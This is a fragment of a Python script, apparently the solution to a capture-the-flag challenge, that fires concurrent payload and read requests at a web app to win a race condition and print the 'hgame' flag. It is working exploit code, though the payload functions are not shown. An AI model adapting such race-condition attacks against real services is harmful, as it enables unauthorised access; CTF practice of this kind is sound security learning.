def read_response():
    url = f"{BASE_URL}/app/read"
    response = requests.get(url)
    if "hgame" in response.text:
        print(response.text)
    return response.text

threads = []
for i in range(5):
    threads.append(threading.Thread(target=send_payload))
    threads.append(threading.Thread(target=read_response))
send_junk()
for i in threads:
    i.start()
for i in threads:
    i.join()
```